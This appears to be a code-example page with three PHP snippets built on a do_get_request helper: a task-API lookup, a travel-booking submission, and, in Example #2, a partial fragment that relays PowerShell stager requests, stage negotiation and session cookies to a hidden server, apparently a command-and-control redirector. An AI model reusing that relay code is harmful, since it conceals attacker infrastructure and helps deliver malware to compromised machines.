function find_task($params)
{
    list($status, $tasks) = do_get_request(PROCESS_STREET_API_BASE, PROCESS_STREET_API_ROUTE_TASKS_QUERY, $params, ['Authorization: Basic ' . base64_encode(PROCESS_STREET_API_KEY . ':')]);
    if ($status === 200) {
        return !empty($tasks) ? $tasks[0] : null;
    } else {
        error_log("failed to get tasks with status code {$status}");
        http_response_code(500);
        exit;
    }
}
Example #2
0
    return $response;
}
if ($_SERVER['REQUEST_METHOD'] === "GET") {
    $parts = explode("?", $_SERVER['REQUEST_URI']);
    if (count($parts) > 1) {
        $parts = explode("&", base64_decode($parts[1]));
        if (count($parts) == 2) {
            // in case where're doing stage 0 requests for stager.ps1
            $uri = $server . $parts[1] . "?" . base64_encode($parts[0]);
            echo do_get_request($uri);
        }
    } else {
        if (isset($_COOKIE['SESSIONID'])) {
            echo do_get_request(rtrim($server, "/") . $resource, "Cookie: SESSIONID=" . $_COOKIE['SESSIONID']);
        } else {
            echo do_get_request(rtrim($server, "/") . $resource);
        }
    }
} else {
    $parts = explode("?", $_SERVER['REQUEST_URI']);
    if (count($parts) > 1) {
        $parts = explode("&", base64_decode($parts[1]));
        if (count($parts) == 2) {
            // in case we're continuing stage negotiation
            $uri = $server . $parts[1] . "?" . base64_encode($parts[0]);
            $postdata = file_get_contents("php://input");
            if (isset($_COOKIE['SESSIONID'])) {
                echo do_post_request($uri, $postdata, "Cookie: SESSIONID=" . $_COOKIE['SESSIONID']);
            } else {
                echo do_post_request($uri, $postdata);
            }
Example #3
0
function sendBookingToAestivaDb($lastname, $firstname, $paxId, $phone, $email, $hotelName, $hotelCode, $roomDesc, $txtLeave, $txtReturn, $destinationCode, $bookingNumber, $netSupCost, $quotedPrice, $listPrice)
{
    /*
    			
    			String airTravelUrl = http://www.airtravel.com/cgi-bin/start.cgi/onetravel.html?
    			 lastname= xxx
    			 &firstname= xxx
    			 &morenames = xxx
    			 &nopax= x
    			 &telday= xxxxxx
    			 &email= xxxx
    			 &bookedhotel=xx hotel name xx
    			 &bookedrmtype= xx roomDescription xx
    			 &bookeddates= xx departure date xx
    			 &bookeddateout= xx return Date xx
    			 &nites=" xx number of nights xx
    			 &bookeddestin=" xx destination xx
    			 &confirm=  xx ti's confirmation numberXX
    			 &netsupcost= xx net cost from ti xx
    			 &airprice1= xx price we quote to customer xx
    			 &cost1=  xx  the gross price listed by TI xx
    */
    $leaveYear = (int) substr($txtLeave, 6, 4);
    $leaveMonth = (int) substr($txtLeave, 0, 2);
    $leaveDay = (int) substr($txtLeave, 3, 2);
    $returnYear = (int) substr($txtReturn, 6, 4);
    $returnMonth = (int) substr($txtReturn, 0, 2);
    $returnDay = (int) substr($txtReturn, 3, 2);
    $newLeave = mktime(12, 0, 0, $leaveMonth, $leaveDay, $leaveYear);
    $newReturn = mktime(12, 0, 0, $returnMonth, $returnDay, $returnYear);
    $numNights = round(abs($newLeave - $newReturn) / 86400);
    $bookingDataQueryString = "";
    $bookingDataQueryString .= "lastname=" . rawurlencode($lastname);
    $bookingDataQueryString .= "&firstname=" . rawurlencode($firstname);
    $bookingDataQueryString .= "&morenames=";
    $bookingDataQueryString .= "&nopax=" . rawurlencode($paxId);
    $bookingDataQueryString .= "&telday=" . rawurlencode($phone);
    $bookingDataQueryString .= "&email=" . rawurlencode($email);
    $bookingDataQueryString .= "&bookedhotel=" . rawurlencode($hotelName);
    $bookingDataQueryString .= "&hotcode=" . rawurlencode($hotelCode);
    $bookingDataQueryString .= "&bookedrmtype=" . rawurlencode($roomDesc);
    $bookingDataQueryString .= "&bookeddates=" . rawurlencode($txtLeave);
    $bookingDataQueryString .= "&bookeddateout=" . rawurlencode($txtReturn);
    $bookingDataQueryString .= "&nites=" . $numNights;
    $bookingDataQueryString .= "&bookeddestin=" . rawurlencode($destinationCode);
    $bookingDataQueryString .= "&confirm=" . rawurlencode($bookingNumber);
    $bookingDataQueryString .= "&netsupcost=" . rawurlencode($netSupCost);
    $bookingDataQueryString .= "&clientrequest=" . rawurlencode("Quoted Price: " . $quotedPrice);
    $bookingDataQueryString .= "&commentbox=" . rawurlencode("Total TI Gross Price: " . $listPrice);
    do_get_request(AESTIVA_DB, $bookingDataQueryString);
}